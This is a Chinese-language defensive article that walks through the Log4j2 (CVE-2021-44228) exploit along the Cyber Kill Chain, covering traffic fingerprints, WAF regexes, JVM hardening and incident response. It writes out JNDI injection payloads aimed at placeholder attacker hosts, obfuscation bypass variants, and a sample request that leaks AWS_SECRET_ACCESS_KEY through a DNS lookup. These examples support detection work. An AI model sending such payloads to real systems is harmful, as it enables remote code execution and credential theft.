1. 项目概述为什么我们要从攻击链看Log4j2如果你在2021年底到2022年初那段时间负责过线上系统的安全那么“Log4j2”这个词大概率会让你血压升高。这不仅仅是一个漏洞更像是一场席卷全球互联网的“数字海啸”。当时我的团队在凌晨被警报叫醒看着监控面板上突然激增的异常请求和内部扫描流量那种紧张感至今记忆犹新。事后复盘我们意识到仅仅知道漏洞编号CVE-2021-44228和打上补丁是远远不够的。攻击者是如何一步步得手的我们的防御体系为什么没能提前预警这些问题促使我从一个更全局的视角——攻击链Cyber Kill Chain——去重新解构这个漏洞。“从攻击链视角剖析Log4j2漏洞”这个项目就是这次深度复盘和研究的产物。它不是一个简单的漏洞复现教程而是一次将战术级漏洞置于战略级框架下的分析实践。攻击链模型最初由洛克希德·马丁公司提出它将一次完整的网络攻击分解为侦察、武器化、投递、利用、安装、命令与控制、目标行动七个阶段。用这个模型去套Log4j2你会发现每一个阶段都有其独特的流量特征和行为指纹。理解这些对于安全工程师来说价值远超于知道一个${jndi:ldap://evil.com/a}的Payload。它能帮助我们在流量中更早地发现攻击苗头而不仅仅是在漏洞被利用之后进行应急响应。简单来说这个项目适合三类人一是奋战在一线的安全运维和应急响应工程师你需要知道攻击是怎么来的、怎么防二是安全研发同学你在设计WAF、IDS或流量分析系统时需要精准的特征库三是对漏洞原理和实战攻防有浓厚兴趣的学习者你想超越“脚本小子”的层面理解漏洞背后的攻防博弈本质。接下来我会带你沿着攻击者的脚步一步步拆解Log4j2并重点聚焦在每一个环节留下的“流量指纹”让你不仅能看懂攻击更能提前“嗅到”攻击。2. 攻击链第一阶段侦察与武器化在攻击真正发生之前攻击者并非无头苍蝇。他们需要找到目标并准备好“弹药”。对于Log4j2这种需要特定条件触发的漏洞侦察阶段尤为重要。2.1 侦察阶段的流量指纹试探与探测攻击者首先需要确认目标系统是否使用了存在漏洞的Log4j2组件。他们不会一上来就使用完整的JNDI注入Payload那样太容易被拦截且暴露意图。更常见的做法是进行“无害”或“低特征”的试探。1. 版本信息泄露探测许多Java应用会在HTTP响应头、错误页面或API接口中泄露框架和组件信息。例如Spring Boot的/actuator/env端点、某些API的异常响应中包含的堆栈跟踪信息。攻击者会使用自动化工具批量扫描这些常见的信息泄露点寻找包含“log4j”、“LogManager”、“Apache”等关键词的响应。注意在流量中这类探测表现为对特定路径如/actuator/*,/env,/health的GET请求突然增多。其指纹特征是请求路径固定、参数少或无参数且攻击者会仔细检查响应体内容而非仅仅关注状态码。2. 日志记录功能触发测试Log4j2是日志框架攻击者会尝试触发目标的日志记录行为以确认其是否存在并正常工作。他们可能会在HTTP请求的各个可输入位置插入一些特殊的、但看似无害的字符串。User-Agent头 设置为包含${或}等特殊字符的字符串如User-Agent: Test${test}。URL参数 在GET或POST参数中加入类似?usernametest${date}的查询。HTTP头字段 如X-Forwarded-For、Referer等注入测试字符串。流量指纹分析这个阶段的流量相对“温和”。在WAF或流量分析系统中你可以看到大量请求携带了类似${的字符模式但并未构成完整的JNDI或命令执行Payload。这些请求的响应码可能是200正常也可能是400或500触发了应用异常。关键在于这些请求具有模式化和低破坏性的特征。安全设备如果仅依赖完整的漏洞利用特征库很可能将其视为低威胁或误报而放过。但从攻击链视角看这已经是明确的“敌前侦察”信号。2.2 武器化阶段的Payload构造逻辑确认目标存在漏洞后攻击者开始制作“武器”——即精心构造的Exploit Payload。Log4j2漏洞的核心是JNDIJava Naming and Directory Interface注入。攻击者需要搭建一个恶意的JNDI服务端通常是LDAP或RMI服务并构造一个指向该服务的URI。Payload的演变与规避最初的Payload是${jndi:ldap://attacker.com:1389/Exploit}。但很快防御方就会在WAF规则中封堵jndi:、ldap://等关键词。于是攻击技术开始进化大小写绕过${JNDI:ldap://...}、${jNdI:...}协议替换除了ldap还可以使用rmi、dns、iiop等协议。${jndi:rmi://attacker.com:1099/ref}同样有效。嵌套与递归解析利用Log4j2的Lookup功能嵌套例如${${lower:j}ndi:ldap://...}其中${lower:j}会先被解析为j。编码绕过使用URL编码、Unicode编码等方式混淆关键字符。例如:编码为%3a/编码为%2f。利用环境变量${jndi:ldap://${env:USER}.attacker.com/a}这样Payload的一部分来自目标主机环境增加了动态性和隐蔽性。武器化阶段的流量指纹在攻击者端虽然这个阶段不直接产生攻击流量但攻击者需要准备基础设施。他们会注册或使用恶意域名如log4j-bypass[.]xyz、ldap-poc[.]tk等。这些域名往往新注册、生命周期短。搭建恶意LDAP/RMI服务通常使用开源工具如marshalsec快速启动。这些服务可能监听在非标准端口如1389、1099。托管恶意Java类在LDAP服务指向的HTTP服务器上存放编译好的恶意class文件用于在目标机器上执行任意代码。对于防守方来说威胁情报中关于这些新注册的、与漏洞利用工具关联的域名以及云上突然开启的非标准端口1389 1099的对外服务就是武器化阶段的间接指纹。3. 攻击链第二阶段投递、利用与安装这是攻击链的核心执行环节也是流量特征最明显、最需要重点布防的阶段。3.1 投递与利用流量中的“尖叫”攻击者将构造好的Payload投递到目标应用任何可能被日志记录的地方。一旦Payload被记录Log4j2的解析器就会触发漏洞。典型的投递流量示例HTTP请求GET /api/user/info?username${jndi:ldap://malicious-domain.com:1389/a} HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 ... ${jndi:dns://${sys:java.version}.dnslog.cn} X-Forwarded-For: 10.0.0.1${jndi:rmi://another-evil-site.com/Exploit}核心流量指纹特征JNDI模式匹配这是最直接的指纹。任何请求参数、头字段、Cookie、甚至URL路径中出现${jndi:模式都应被视为高危告警。需要支持对大小写变种、简单编码的检测。对外网络连接出站请求这是Log4j2漏洞利用最关键的行为指纹。当漏洞被触发时受害服务器会主动向攻击者控制的LDAP/RMI/DNS服务器发起连接。LDAP连接目标服务器作为LDAP客户端会向攻击者的LDAP服务端口默认389 非标1389等发起TCP连接并执行一个LDAP搜索请求。在流量镜像或主机网络连接监控中你会看到内部服务器突然向一个外部可疑IP的1389端口发起连接。DNS查询即使攻击未完全成功用于探测的DNS Payload如${jndi:dns://dnslog.cn/a}也会触发目标服务器向dnslog.cn这类DNS日志记录平台发起DNS解析请求。这是一种非常隐蔽的“漏洞存在性确认”手段。RMI连接类似于LDAP目标服务器会连接攻击者的RMI注册表端口默认1099。协议特征LDAP流量在TCP三次握手后会跟随LDAP协议数据包。可以使用Wireshark等工具抓包过滤ldap协议查看BindRequest、SearchRequest等报文。恶意LDAP服务的响应中会包含一个javaCodeBase属性指向存放恶意class文件的HTTP地址。后续HTTP下载在LDAP响应指引下受害服务器会紧接着向另一个HTTP地址攻击者控制的发起GET请求下载恶意的.class文件。这个请求的User-Agent通常是Java运行时自带的例如Java/1.8.0_291。Payload的分布与重复一次攻击往往会在同一个请求的多个字段中插入相同或相似的Payload以提高触发成功率。在流量日志中你会看到username、User-Agent、X-Forwarded-For等多个字段在同一个请求里都包含了JNDI字符串。3.2 安装阶段恶意代码的驻留成功利用漏洞后攻击者下载的恶意class文件会在目标服务器的JVM中执行。这个阶段的目标是安装持久化后门例如写入Webshell、创建计划任务、添加SSH密钥、下载并执行二进制木马等。此阶段的流量指纹内部横向移动受害服务器可能开始扫描内网其他机器的端口如445 22 6379尝试利用其他漏洞或弱口令进行扩散。对外C2命令与控制通信植入的后门会定期或持续地向攻击者的C2服务器发起心跳连接或等待指令。通信协议可能是HTTP、HTTPS、DNS隧道等。其特征是从内部服务器到某个固定外部IP/域名的、周期性的、非业务相关的连接。例如每5分钟向api.legitimate-looking[.]com发送一个带特定Token的HTTP POST请求。异常进程与网络连接在主机层面会出现陌生的Java进程如果后门以独立Jar包运行或现有Java进程建立了可疑的外联。使用netstat -antp或lsof -i命令可以查看。实操心得在应急响应时光封堵入侵IP是不够的。必须立即排查受害服务器在漏洞触发时间点前后的所有出站连接特别是向陌生域名或IP的LDAP389/1389/636、RMI1099、DNS53以及后续的HTTP/HTTPS请求。这些连接日志是追溯攻击路径、评估失陷范围的黄金证据。4. 基于流量指纹的防御策略构建理解了攻击链各阶段的流量指纹我们就可以构建层层递进的防御体系而不仅仅是依赖一个WAF规则。4.1 网络层检测与阻断这是第一道也是最关键的一道防线。入站检测WAF/IPS规则正则表达式规则编写能覆盖各种绕过手法的正则表达式匹配请求中的JNDI注入模式。例如\$\{.*(j|J)(n|N)(d|D)(i|I).*:.*(ldap|rmi|dns|iiop|corba).*\}语义分析不仅仅匹配关键字还要分析${和}的嵌套结构识别出即使经过混淆的Lookup表达式。多位置检查对HTTP请求的所有部分进行检查包括URL、Headers、Body、Cookie甚至HTTP方法名理论上也可被记录。出站检测防火墙/IDS/流量审计出站LDAP/RMI连接告警在企业的网络边界或核心交换机上配置安全策略对内部服务器主动向外部发起的LDAP端口389 636 1389等和RMI端口1099等连接进行告警和记录。对于绝大多数业务服务器而言主动向外发起LDAP/RMI连接是极度异常的行为。DNS异常查询监控监控DNS日志关注向已知的DNS日志平台如dnslog.cn, burpcollaborator.net等或大量随机子域名的查询请求。非业务域名访问控制严格限制服务器群的出站访问仅允许访问业务必需的域名和IP。使用下一代防火墙或代理服务器实施白名单策略。4.2 主机与运行时防护在网络层之外主机层面的加固同样重要。Java运行时环境JRE/JDK加固升级至高版本Java 8u121, 7u131, 6u141及以上版本默认禁用了远程类加载com.sun.jndi.ldap.object.trustURLCodebase等属性默认为false可以阻断通过LDAP加载远程恶意类的攻击路径。这是最根本的缓解措施之一。设置JVM系统属性对于无法升级JDK的环境可以通过启动参数设置-Dlog4j2.formatMsgNoLookupstrueLog4j 2.10及以上或-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse。应用配置层面升级Log4j2尽快升级到安全版本2.17.0及以上。移除JNDI Lookup在无法立即升级时可以从classpath中移除JndiLookup类zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。配置日志模式避免记录不可信的用户输入。在log4j2配置文件中使用%m{nolookups}或%msg{nolookups}来格式化日志消息。主机入侵检测HIDS监控Java进程行为HIDS agent应监控Java进程是否动态加载了来自网络地址的class文件。监控敏感操作监控进程是否执行了Runtime.exec()、ProcessBuilder.start()等命令执行函数并关联其父进程和命令行参数。文件监控监控Web目录下是否被写入新的.jsp、.war文件或系统关键位置如/etc/cron.d/,~/.ssh/authorized_keys是否被修改。4.3 威胁狩猎与溯源分析当常规防御告警响起或者通过威胁情报感知到潜在风险时就需要主动进行狩猎。基于流量的狩猎回溯搜索在ELK、Splunk等日志平台中回溯搜索历史流量日志至少30天查找包含${、jndi、ldap://、rmi://等关键词的请求。关键词列表需要根据绕过技术不断更新。出站连接关联分析将内部服务器的出站连接日志尤其是到非常用端口的连接与入站请求日志进行时间关联分析。找到在某个可疑入站请求之后立即出现的出向LDAP/DNS连接。外部IP/域名信誉查询将流量中出现的所有外部IP和域名放入威胁情报平台如VirusTotal, AlienVault OTX, 微步在线等进行查询判断其是否与已知的漏洞利用、C2基础设施关联。构建攻击链时间线 在确认入侵事件后尝试还原完整的攻击链时间点T0发现第一个包含JNDI Payload的请求侦察/投递。时间点T1受害服务器向恶意LDAP服务器发起连接利用。时间点T2受害服务器下载恶意class文件利用。时间点T3主机上出现异常进程或网络连接安装/C2。时间点T4内网出现横向扫描或数据外泄目标行动。 这条时间线能清晰展示攻击者的行动路径和驻留时间为后续的漏洞修复、系统加固和损失评估提供关键依据。5. 实战演练从流量中发现Log4j2攻击我们模拟一个简单的场景通过分析一段HTTP请求和服务器日志来实践如何识别攻击。假设我们截获到如下请求POST /submitForm HTTP/1.1 Host: vulnerable-app.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 ... ${jndi:ldap://x${hostName}.attacker[.]site:1389/cntest,dcexploit} usernametestemail${jndi:dns://${env:AWS_SECRET_ACCESS_KEY}.dnslog[.]cn/}分析步骤初步模式匹配一眼就能看到两个字段含有${jndi:结构这是高危信号。Payload使用了ldap和dns两种协议且dns协议尝试泄露环境变量AWS_SECRET_ACCESS_KEY危害极大。解码与解析ldapPayload中包含了${hostName}这是一个Lookup会在目标服务器上解析出主机名并拼接到域名中形成动态的C2域名增加了拦截难度。dnsPayload尝试将AWS密钥作为子域名的一部分进行DNS查询从而实现敏感信息外泄。预测后续流量如果漏洞存在且未缓解服务器会解析x[hostname].attacker[.]site并向其1389端口发起LDAP连接。同时服务器会尝试解析[AWS密钥].dnslog[.]cn向DNS服务器发起查询攻击者只需查看dnslog[.]cn的记录即可获取密钥。防守动作立即阻断WAF应实时阻断该请求并记录攻击源IP。日志排查立即检索该时间点前后服务器是否有向attacker[.]site或dnslog[.]cn发起的出站连接LDAP或DNS。主机检查登录可能受影响的主机检查是否有可疑的Java网络连接或进程并检查环境变量是否已被窃取。威胁情报将attacker[.]site和dnslog[.]cn提交至威胁情报平台并加入防火墙黑名单。6. 常见问题与排查技巧实录在实际防御和应急中会遇到各种复杂情况。这里记录几个典型问题和我的处理思路。问题1WAF已经拦截了jndi:关键字但监控显示服务器仍有可疑的出站LDAP连接为什么排查思路检查绕过技术攻击者可能使用了${${lower:j}ndi:ldap://...}或${${::-j}ndi:...}等嵌套绕过方式。需要检查WAF规则是否覆盖了这些变种。检查日志记录点Payload可能被记录在了WAF无法检测的位置。例如应用可能将完整的HTTP请求头包括X-Forwarded-ForUser-Agent记录到日志文件而WAF可能只检查了URL和Body。需要检查应用自身的日志配置和记录内容。检查漏洞触发链是否存在其他入口点比如攻击者通过漏洞A上传了一个包含JNDI Payload的配置文件然后漏洞B读取该文件并触发了Log4j2。这需要梳理应用的数据流。检查内部传播出站连接可能不是来自直接暴露的Web服务器而是内网中另一台被横向移动攻陷的机器。问题2如何快速在庞大的历史访问日志中筛查可能存在的Log4j2攻击尝试实操技巧使用高效的正则表达式在ELK或使用grep时不要直接用简单的jndi关键词效率低且易漏。可以尝试分步过滤# 第一步找出所有包含 ${ 的请求行大幅缩小范围 grep -r \${ /path/to/access/logs/ # 第二步从结果中进一步筛选可疑模式 grep -E (jndi|ldap:|rmi:|dns:|iiop:|corba:)关注高熵字符串攻击Payload中常包含随机字符串作为路径或参数。可以编写脚本分析请求参数值的熵值熵值异常高的请求值得重点审查。关联外部情报将日志中的外部IP和域名与公开的Log4j2漏洞利用IP列表进行比对。很多安全公司会发布这类威胁情报。问题3升级了Log4j2版本也设置了JVM参数是否就绝对安全了深度解析不是绝对的。这构成了深度防御但仍有潜在风险。依赖传递你的应用可能通过某个第三方依赖例如某个中间件客户端的SDK间接引入了老版本的Log4j2-core。必须使用mvn dependency:tree或相关工具确保所有传递依赖中的Log4j2版本都是安全的。Lookup的多样性除了JNDILog4j2还支持${env:、${sys:、${java:等多种Lookup。虽然它们不能直接导致RCE但可能被用于信息泄露例如${env:AWS_ACCESS_KEY_ID}。攻击者可以利用这些信息进行后续攻击。其他攻击面如果攻击者已经通过其他方式如SSRF能够控制JNDI查找的地址即使限制了远程代码加载也可能导致JNDI注入相关的其他风险如LDAP查询注入等。问题4在应急响应时除了修复漏洞最重要的步骤是什么经验之谈最重要的步骤是“遏制”和“取证”然后才是“根除”和“恢复”。立即网络隔离将疑似受害服务器从核心网络隔离防止横向移动。保存现场证据在关机或重启前尽可能完整地保存内存镜像、磁盘镜像、网络连接状态netstat -anp、进程列表ps auxf和系统日志。这些是后续法律溯源和技术分析的基石。全面排查失陷迹象检查计划任务、服务、启动项、SSH密钥、Web目录下的新增文件、最近修改的可执行文件等。修改所有凭据假设攻击者已获取了内存中的敏感信息如数据库密码、API密钥必须轮换所有相关的密码和密钥。从攻击链的视角来看Log4j2它不再是一个孤立的、需要打补丁的软件缺陷而是一系列具有清晰阶段、特征和意图的敌意行为序列。防守的艺术就在于能否在这些行为的早期阶段侦察、武器化、投递识别并阻断它们。通过深入理解每一阶段在流量和行为上留下的“指纹”我们可以构建起更主动、更立体的防御体系。这要求我们不仅要有扎实的安全产品更要有基于对攻击者战术的深刻理解而建立的检测逻辑和响应流程。下次再面对一个高危漏洞时不妨先问问自己如果我是攻击者我会怎么利用它我的每一步会在网络上留下什么痕迹想明白了这些你就能从被动补丁转向主动防御。